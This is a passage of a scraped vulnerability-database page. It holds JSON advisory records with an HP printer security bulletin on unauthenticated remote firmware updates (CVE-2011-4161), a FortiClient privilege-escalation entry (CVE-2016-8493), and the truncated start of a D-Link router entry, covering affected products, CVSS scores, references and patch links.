3\n\nHPSBPI02728 SSRT100692 rev.3 - Certain HP Printers and HP Digital Senders, Remote Firmware Update Enabled by Default\n\nNOTICE: The information in this Security Bulletin should be acted upon as soon as possible. \n\nRelease Date: 2011-11-30\nLast Updated: 2012-01-09\n\nPotential Security Impact: Remote firmware update enabled by default\n\nSource: Hewlett-Packard Company, HP Software Security Response Team\n\nVULNERABILITY SUMMARY\nA potential security vulnerability has been identified with certain HP printers and HP digital senders. \n\nReferences: CVE-2011-4161\n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \nPlease refer to the RESOLUTION\n below for a list of impacted products. A firmware update can be sent remotely to port 9100 without authentication. \n\nRESOLUTION\nThe following steps can be taken to avoid unauthorized firmware updates:\n\nUpdate the firmware to a version that implements code signing\nDisable the Remote Firmware Update\n\nThe code signing feature verifies that firmware updates are properly signed. This will prevent the installation of invalid firmware updates. \n\nNote: A firmware update may be required to allow the RFU to be disabled or to implement code signing. Code signing is not available on all the affected devices. Please refer to the following table. Firmware updates for any of the products can also be downloaded as follows. \n\nBrowse to www.hp.com/go/support then:\n\nSelect \"Drivers & Software\"\nEnter the product name listed in the table above into the search field\nClick on \"Search\"\nIf the search returns a list of products click on the appropriate product\nUnder \"Select operating system\" click on \"Cross operating system (BIOS, Firmware, Diagnostics, etc.)\"\nIf the \"Cross operating system ...\" link is not present, select any Windows operating system from the list. \nSelect the appropriate firmware update under \"Firmware\"\n\nHISTORY\nVersion:1 (rev.1) - 30 November 2011 Initial release\nVersion:2 (rev.2) - 23 December 2011 Code signing firmware available\nVersion:3 (rev.3) - 9 January 2012 Combined tables\n\nThird Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy. \n\nSupport: For issues about implementing the recommendations of this Security Bulletin, contact normal HP Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hp.com. \n\nReport: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com\n\nSubscribe: To initiate a subscription to receive future HP Security Bulletin alerts via Email: http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins\n\nSecurity Bulletin List: A list of HP Security Bulletins, updated periodically, is contained in HP Security Notice HPSN-2011-001: https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c02964430\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is available here: http://h20566.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/\n\nSoftware Product Category: The Software Product Category is represented in the title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HP General Software\nHF = HP Hardware and Firmware\nMP = MPE/iX\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPI = Printing and Imaging\nPV = ProCurve\nST = Storage Software\nTU = Tru64 UNIX\nUX = HP-UX\n\nCopyright 2012 Hewlett-Packard Development Company, L.P. \nHewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided \"as is\" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits;damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.10 (GNU/Linux)\n\niEYEARECAAYFAk8KykcACgkQ4B86/C0qfVl09ACg1m3AQDGq/VzvFgb4j6bj3fJU\nVnkAoO9oPSjyrVB07qLIBpcXALxLRRRg\n=mXzy\n-----END PGP SIGNATURE-----\n. However, the information is applicable to all the devices listed above. This revision, version 6, of the Security Bulletin announces the availability of firmware updates for additional devices", "trust": 2.34, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "BID", "id": "50876" }, { "db": "JVNDB", "id": "JVNDB-2011-003178" }, { "db": "PACKETSTORM", "id": "108485" }, { "db": "PACKETSTORM", "id": "110973" }, { "db": "PACKETSTORM", "id": "109909" }, { "db": "PACKETSTORM", "id": "107448" }, { "db": "PACKETSTORM", "id": "112220" }, { "db": "CNNVD", "id": "CNNVD-201111-528" }, { "db": "NVD", "id": "CVE-2011-4161" } ], "data": [ { "db": "NVD", "id": "CVE-2011-4161", "trust": 3.2 }, { "db": "SECUNIA", "id": "47063", "trust": 1.6 }, { "db": "SECTRACK", "id": "1026357", "trust": 1.0 }, { "db": "CERT/CC", "id": "VU#717921", "trust": 1.0 }, { "db": "BID", "id": "51324", "trust": 1.0 }, { "db": "JVNDB", "id": "JVNDB-2011-003178", "trust": 0.8 }, { "db": "NSFOCUS", "id": "19500", "trust": 0.6 }, { "db": "NSFOCUS", "id": "18263", "trust": 0.6 }, { "db": "MLIST", "id": "[DAILYDAVE] 20111130 THE VAMPIRE DIARIES", "trust": 0.6 }, { "db": "HP", "id": "HPSBPI02728", "trust": 0.6 }, { "db": "HP", "id": "SSRT100692", "trust": 0.6 }, { "db": "CNNVD", "id": "CNNVD-201111-528", "trust": 0.6 }, { "db": "BID", "id": "50876", "trust": 0.3 }, { "db": "PACKETSTORM", "id": "108485", "trust": 0.1 }, { "db": "PACKETSTORM", "id": "110973", "trust": 0.1 }, { "db": "PACKETSTORM", "id": "109909", "trust": 0.1 }, { "db": "PACKETSTORM", "id": "107448", "trust": 0.1 }, { "db": "PACKETSTORM", "id": "112220", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "VARIoT devices database", "id": null } ], "data": true, "trust": 0.4057062211111111, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2011-003178" } ], "data": [ { "title": "HP Imaging and Printing Security Best Practices", "url": "http://h71028.www7.hp.com/enterprise/downloads/hp-imaging10.pdf", "trust": 0.8 }, { "title": "HPSBPI02728 SSRT100692", "url": "http://h20000.www2.hp.com/bizsupport/techsupport/document.jsp?lang=en&cc=us&objectid=c03102449", "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "BID", "id": "50876" }, { "db": "JVNDB", "id": "JVNDB-2011-003178" }, { "db": "PACKETSTORM", "id": "108485" }, { "db": "PACKETSTORM", "id": "110973" }, { "db": "PACKETSTORM", "id": "109909" }, { "db": "PACKETSTORM", "id": "107448" }, { "db": "PACKETSTORM", "id": "112220" }, { "db": "CNNVD", "id": "CNNVD-201111-528" }, { "db": "NVD", "id": "CVE-2011-4161" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2011-003178" }, { "db": "NVD", "id": "CVE-2011-4161" } ], "data": [ { "trust": 1.8, "problemtype": "CWE-264" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "BID", "id": "50876" }, { "db": "JVNDB", "id": "JVNDB-2011-003178" }, { "db": "PACKETSTORM", "id": "108485" }, { "db": "PACKETSTORM", "id": "110973" }, { "db": "PACKETSTORM", "id": "109909" }, { "db": "PACKETSTORM", "id": "107448" }, { "db": "PACKETSTORM", "id": "112220" }, { "db": "CNNVD", "id": "CNNVD-201111-528" }, { "db": "NVD", "id": "CVE-2011-4161" } ], "data": [ { "url": "http://h20000.www2.hp.com/bizsupport/techsupport/document.jsp?objectid=c03102449", "trust": 2.5 }, { "url": "http://redtape.msnbc.msn.com/_news/2011/11/29/9076395-exclusive-millions-of-printers-open-to-devastating-hack-attack-researchers-say", "trust": 1.9 }, { "url": "http://jvn.jp/cert/jvnvu717921/index.html", "trust": 1.6 }, { "url": "https://lists.immunityinc.com/pipermail/dailydave/2011-november/000378.html", "trust": 1.6 }, { "url": "http://isc.sans.org/diary/hacking+hp+printers+for+fun+and+profit/12112", "trust": 1.6 }, { "url": "http://secunia.com/advisories/47063", "trust": 1.6 }, { "url": "http://www.kb.cert.org/vuls/id/717921", "trust": 1.0 }, { "url": "http://www.securityfocus.com/bid/51324", "trust": 1.0 }, { "url": "http://www.securitytracker.com/id?1026357", "trust": 1.0 }, { "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2011-4161", "trust": 0.8 }, { "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2011-4161", "trust": 0.8 }, { "url": "http://www.nsfocus.net/vulndb/19500", "trust": 0.6 }, { "url": "http://www.nsfocus.net/vulndb/18263", "trust": 0.6 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2011-4161", "trust": 0.5 }, { "url": "http://www.hp.com/go/secureprinting", "trust": 0.5 }, { "url": "http://h20566.www2.hp.com/portal/site/hpsc/public/kb/secbullarchive/", "trust": 0.5 }, { "url": "http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins", "trust": 0.5 }, { "url": "https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docdisplay/?docid=emr_na-c02964430", "trust": 0.5 }, { "url": "https://www.hp.com/go/support", "trust": 0.4 }, { "url": "http://h20000.www2.hp.com/bizsupport/techsupport/document.jsp?objectid=c03154309", "trust": 0.3 }, { "url": "http://www.hp.com/", "trust": 0.3 }, { "url": "https://h20565.www2.hp.com/portal/site/hpsc/public/kb/docdisplay/?docid=emr_na-c03102449&ac.admitted=1329506517580.876444892.492883150", "trust": 0.3 }, { "url": "https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docdisplay/?docid=emr_na-c03102449&ac.admitted=1332174200510.876444892.199480143", "trust": 0.3 }, { "url": "/archive/1/521693", "trust": 0.3 }, { "url": "http://h20000.www2.hp.com/bizsupport/techsupport/document.jsp?objectid=c03154309&jumpid=em_alerts_us-us_jan12_xbu_all_all_1590794_104946_printersandmultifunctionscanners-copiers-faxes_routine_002_1", "trust": 0.3 }, { "url": "http://h71028.www7.hp.com/enterprise/downloads/hp-imaging10.pdf", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "BID", "id": "50876", "date": "2014-01-25T08:48:00" }, { "db": "JVNDB", "id": "JVNDB-2011-003178", "date": "2011-12-12T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201111-528", "date": "2011-12-02T00:00:00" }, { "db": "NVD", "id": "CVE-2011-4161", "date": "2012-09-18T03:28:13.693000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "BID", "id": "50876", "date": "2011-11-30T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2011-003178", "date": "2011-12-05T00:00:00" }, { "db": "PACKETSTORM", "id": "108485", "date": "2012-01-09T20:58:54" }, { "db": "PACKETSTORM", "id": "110973", "date": "2012-03-19T22:42:32" }, { "db": "PACKETSTORM", "id": "109909", "date": "2012-02-18T03:14:17" }, { "db": "PACKETSTORM", "id": "107448", "date": "2011-12-01T21:32:32" }, { "db": "PACKETSTORM", "id": "112220", "date": "2012-04-26T22:31:50" }, { "db": "CNNVD", "id": "CNNVD-201111-528", "date": "2011-12-02T00:00:00" }, { "db": "NVD", "id": "CVE-2011-4161", "date": "2011-12-01T21:55:00.707000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201111-528" } ], "data": "remote", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2011-003178" } ], "data": "HP CM8060 Color MFP Vulnerability to execute arbitrary code in default settings of other products", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201111-528" } ], "data": "permissions and access control", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2011-4161", "last_update_date": "2024-07-23T22:39:32.535000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-201112-0173", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-201706-0017](https://vulnerability.circl.lu/vuln/var-201706-0017) ```json { "id": "VAR-201706-0017", "affected_products": { "sources": [ { "db": "BID", "id": "101682" }, { "db": "JVNDB", "id": "JVNDB-2016-009740" }, { "db": "CNNVD", "id": "CNNVD-201711-307" }, { "db": "NVD", "id": "CVE-2016-8493" } ], "data": [ { "vendor": "fortinet", "model": "forticlient", "version": "5.4.2", "scope": "eq", "trust": 1.9 }, { "vendor": "fortinet", "model": "forticlient", "version": "5.4.1", "scope": "eq", "trust": 1.9 }, { "vendor": "フォーティネット", "model": "forticlient", "version": "5.4.2", "scope": "eq", "trust": 0.8 }, { "vendor": "フォーティネット", "model": "forticlient", "version": null, "scope": "eq", "trust": 0.8 }, { "vendor": "フォーティネット", "model": "forticlient", "version": "5.4.1", "scope": "eq", "trust": 0.8 }, { "vendor": "fortinet", "model": "forticlient", "version": "5.6", "scope": "ne", "trust": 0.3 }, { "vendor": "fortinet", "model": "forticlient", "version": "5.4.3", "scope": "ne", "trust": 0.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2016-8493" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:fortinet:forticlient:5.4.2:*:*:*:*:windows:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:fortinet:forticlient:5.4.1:*:*:*:*:windows:*:*", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "credits": { "sources": [ { "db": "BID", "id": "101682" }, { "db": "CNNVD", "id": "CNNVD-201711-307" } ], "data": "Zhipeng Huo from Tencent Technology Company Limited.", "trust": 0.9, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "VULHUB", "id": "VHN-97313" }, { "db": "JVNDB", "id": "JVNDB-2016-009740" }, { "db": "CNNVD", "id": "CNNVD-201711-307" }, { "db": "NVD", "id": "CVE-2016-8493" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "NVD", "id": "CVE-2016-8493", "trust": 1.8 }, { "id": "CNNVD-201711-307", "value": "CRITICAL", "author": "CNNVD", "trust": 0.6 }, { "value": "HIGH", "author": "VULHUB", "id": "VHN-97313", "trust": 0.1 } ], "cvssV2": [ { "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false, "version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.0, "author": "NVD", "severity": "HIGH", "trust": 1.0 }, { "id": "CVE-2016-8493", "author": "NVD", "version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "accessVector": "Network", "accessComplexity": "Low", "authentication": "Single", "confidentialityImpact": "Complete", "integrityImpact": "Complete", "availabilityImpact": "Complete", "baseScore": 9.0, "severity": "High", "exploitabilityScore": null, "impactScore": null, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.8 }, { "version": "2.0", "vectorString": "AV:N/AC:L/AU:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.0, "severity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "id": "VHN-97313", "author": "VULHUB", "trust": 0.1 } ], "cvssV3": [ { "exploitabilityScore": 2.8, "impactScore": 5.9, "version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "author": "NVD", "trust": 1.0 }, { "id": "CVE-2016-8493", "author": "NVD", "version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "Network", "attackComplexity": "Low", "privilegesRequired": "Low", "userInteraction": "None", "scope": "Unchanged", "confidentialityImpact": "High", "integrityImpact": "High", "availabilityImpact": "High", "baseScore": 8.8, "baseSeverity": "High", "exploitabilityScore": null, "impactScore": null, "trust": 0.8 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2016-8493" }, { "db": "JVNDB", "id": "JVNDB-2016-009740" }, { "db": "BID", "id": "101682" }, { "db": "VULHUB", "id": "VHN-97313" } ], "data": "In FortiClientWindows 5.4.1 and 5.4.2, an attacker may escalate privilege via a FortiClientNamedPipe vulnerability. fortinet's Windows for FortiClient contains vulnerabilities related to authorization, privileges, and access control.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Fortinet FortiClient is prone to a privilege-escalation vulnerability. \nAn attacker can exploit this issue to execute arbitrary code with elevated privileges. \nFortiClient 5.4.1 and 5.4.2 are vulnerable. Fortinet FortiClient is a mobile terminal security solution developed by Fortinet. The solution provides IPsec and SSL encryption, WAN optimization, endpoint compliance, and two-factor authentication when connected to FortiGate firewall appliances", "trust": 1.98, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "VULHUB", "id": "VHN-97313" }, { "db": "BID", "id": "101682" }, { "db": "JVNDB", "id": "JVNDB-2016-009740" }, { "db": "CNNVD", "id": "CNNVD-201711-307" }, { "db": "NVD", "id": "CVE-2016-8493" } ], "data": [ { "db": "NVD", "id": "CVE-2016-8493", "trust": 3.6 }, { "db": "BID", "id": "101682", "trust": 2.8 }, { "db": "JVNDB", "id": "JVNDB-2016-009740", "trust": 0.8 }, { "db": "CNNVD", "id": "CNNVD-201711-307", "trust": 0.7 }, { "db": "VULHUB", "id": "VHN-97313", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "VULHUB", "id": "VHN-97313" } ], "data": true, "trust": 0.01, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2016-009740" }, { "db": "CNNVD", "id": "CNNVD-201711-307" } ], "data": [ { "title": "FG-IR-16-095", "url": "https://www.fortiguard.com/psirt/fg-ir-16-095", "trust": 0.8 }, { "title": "Fortinet FortiClient Fixes for permission permissions and access control vulnerabilities", "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=76204", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "VULHUB", "id": "VHN-97313" }, { "db": "BID", "id": "101682" }, { "db": "JVNDB", "id": "JVNDB-2016-009740" }, { "db": "CNNVD", "id": "CNNVD-201711-307" }, { "db": "NVD", "id": "CVE-2016-8493" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "VULHUB", "id": "VHN-97313" }, { "db": "JVNDB", "id": "JVNDB-2016-009740" }, { "db": "NVD", "id": "CVE-2016-8493" } ], "data": [ { "trust": 1.1, "problemtype": "CWE-264" }, { "trust": 0.8, "problemtype": "Authorization / authority / access control (CWE-264) [NVD evaluation ]" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "VULHUB", "id": "VHN-97313" }, { "db": "BID", "id": "101682" }, { "db": "JVNDB", "id": "JVNDB-2016-009740" }, { "db": "CNNVD", "id": "CNNVD-201711-307" }, { "db": "NVD", "id": "CVE-2016-8493" } ], "data": [ { "url": "http://www.securityfocus.com/bid/101682", "trust": 2.5 }, { "url": "https://fortiguard.com/psirt/fg-ir-16-095", "trust": 1.4 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2016-8493", "trust": 0.8 }, { "url": "http://www.fortinet.com/", "trust": 0.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "VULHUB", "id": "VHN-97313", "date": "2018-01-17T00:00:00" }, { "db": "BID", "id": "101682", "date": "2017-12-19T21:00:00" }, { "db": "JVNDB", "id": "JVNDB-2016-009740", "date": "2024-07-23T07:03:00" }, { "db": "CNNVD", "id": "CNNVD-201711-307", "date": "2017-11-10T00:00:00" }, { "db": "NVD", "id": "CVE-2016-8493", "date": "2018-01-17T16:07:50.010000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "VULHUB", "id": "VHN-97313", "date": "2017-06-26T00:00:00" }, { "db": "BID", "id": "101682", "date": "2017-11-07T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2016-009740", "date": "2024-07-23T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201711-307", "date": "2017-11-10T00:00:00" }, { "db": "NVD", "id": "CVE-2016-8493", "date": "2017-06-26T17:29:00.187000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201711-307" } ], "data": "remote", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2016-009740" } ], "data": "fortinet's  Windows  for  FortiClient  Vulnerabilities related to authorization, privileges, and access control in", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201711-307" } ], "data": "permissions and access control", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2016-8493", "last_update_date": "2024-07-23T22:38:34.494000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-201706-0017", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202305-1520](https://vulnerability.circl.lu/vuln/var-202305-1520) ```json { "id": "VAR-202305-1520", "affected_products": { "sources": [ { "db": "ZDI", "id": "ZDI-23-626" }, { "db": "CNVD", "id": "CNVD-2024-33402" } ], "data": [ { "vendor": "d link", "model": "dir-2150", "version": null, "scope": null, "trust": 1.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "credits": { "sources": [ { "db": "ZDI", "id": "ZDI-23-626" } ], "data": "Anonymous", "trust": 0.7, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "ZDI", "id": "ZDI-23-626" }, { "db": "CNVD", "id": "CNVD-2024-33402" }, { "db": "NVD", "id": "CVE-2023-34278" } ], "data": [ { "severity": [ { "value": "MEDIUM", "author": "zdi-disclosures@trendmicro.com", "id": "CVE-2023-34278", "trust": 1.0 }, { "id": "CVE-2023-34278", "value": "MEDIUM", "author": "ZDI", "trust": 0.7 }, { "value": "HIGH", "author": "CNVD", "id": "CNVD-2024-33402", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:A/AC:L/Au:M/C:C/I:C/A:C", "accessVector": 